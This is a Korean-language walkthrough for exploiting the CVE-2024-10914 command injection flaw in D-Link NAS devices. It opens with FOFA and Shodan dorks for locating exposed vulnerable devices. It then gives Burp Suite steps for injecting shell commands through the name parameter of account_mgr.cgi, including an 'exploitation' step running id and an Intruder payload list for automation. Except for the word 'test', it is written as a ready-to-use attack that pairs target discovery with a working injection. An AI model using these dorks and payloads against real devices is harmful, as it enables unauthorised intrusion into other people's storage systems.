CVE-2024-10914 명령 주입 취약점 테스트 for D-Link NAS_Burp Suite를 사용한 수동 테스트

취약한 장치를 찾기 위한 Dork

다음 검색 dork를 사용하여 잠재적으로 취약한 D-Link NAS 장치를 찾을 수 있습니다:

FOFA:
app="D_Link-DNS-ShareCenter" && server=="lighttpd/1.4.25-devel-fb150ff"

SHODAN:
"http.title:D-Link" product:"lighttpd" 

이 검색 문자열은 취약점의 영향을 받는 특정 Lighttpd 서버 버전과 함께 취약한 D-Link DNS ShareCenter 앱을 실행 중인 장치를 식별하는 데 도움이 됩니다.

이 가이드는 Burp Suite를 사용하여 D-Link NAS의 name 매개변수에서 명령 주입 취약점(CVE-2024-10914)을 수동으로 테스트하는 방법을 단계별로 설명합니다. 대상 URL: http://Target.

사전 요구 사항

• Burp Suite
• Burp Suite를 프록시로 사용하도록 구성된 웹 브라우저(일반적으로 127.0.0.1:8080으로 설정)

1단계: Burp Suite 설정

1. Burp Suite 실행: 컴퓨터에서 Burp Suite를 시작합니다.
2. 프록시 구성: 브라우저의 프록시 설정을 127.0.0.1, 포트 8080으로 설정하여 Burp Suite를 프록시로 사용하도록 브라우저를 구성합니다.

2단계: 요청 가로채기

1. 대상으로 이동: 브라우저에서 http://Target으로 이동합니다.
2. Intercept 활성화: Burp Suite에서 Intercept 기능을 활성화하여 나가는 요청을 캡처합니다.

3단계: 요청 수정

1. 취약한 매개변수 찾기: 가로챈 요청에서 URL의 name 매개변수를 찾습니다. 다음과 같이 표시되어야 합니다:

   root@kitploit:~

   /cgi-bin/account_mgr.cgi?cmd=cgi_user_add&name=%27;...;%27
   

2. 테스트 명령 주입: name 매개변수에 echo "test"와 같은 테스트 명령을 포함하도록 수정합니다:

   root@kitploit:~

   /cgi-bin/account_mgr.cgi?cmd=cgi_user_add&name=%27;echo%20%22test%22;%27
   

3. 수정된 요청 전송: 수정된 요청을 서버로 전달(Forward)합니다.

4단계: 응답 분석

1. 응답 확인: 응답에서 주입된 명령의 출력을 확인합니다. 예를 들어 서버가 echo "test"를 실행했다면 다음과 같은 내용이 보여야 합니다:

   root@kitploit:~

   test
   

5단계: 취약점 악용

1. 악성 명령 주입: 테스트가 성공하면 다음과 같은 더 정교한 명령을 시도합니다:

   root@kitploit:~

   /cgi-bin/account_mgr.cgi?cmd=cgi_user_add&name=%27;id;%27
   

2. 악용 요청 전송: 이 요청을 서버로 전달합니다.

3. 응답 분석: 명령의 출력(예: 사용자 ID 정보)이 응답에 있는지 확인합니다.

6단계: Burp Suite 확장 기능으로 자동화 (선택 사항)

1. Intruder 사용: Burp Suite의 Intruder 도구로 테스트를 자동화합니다.

   • 요청을 마우스 오른쪽 버튼으로 클릭하고 Send to Intruder를 선택합니다.
   • name 매개변수를 페이로드 위치로 설정합니다.
   • 테스트를 위해 명령 목록을 페이로드로 사용합니다.

2. 예시 페이로드:

   root@kitploit:~

   echo "test"
   id
   uname -a
   ls /etc
   

3. Intruder 시작: Intruder 공격을 실행하여 여러 페이로드를 자동으로 테스트합니다.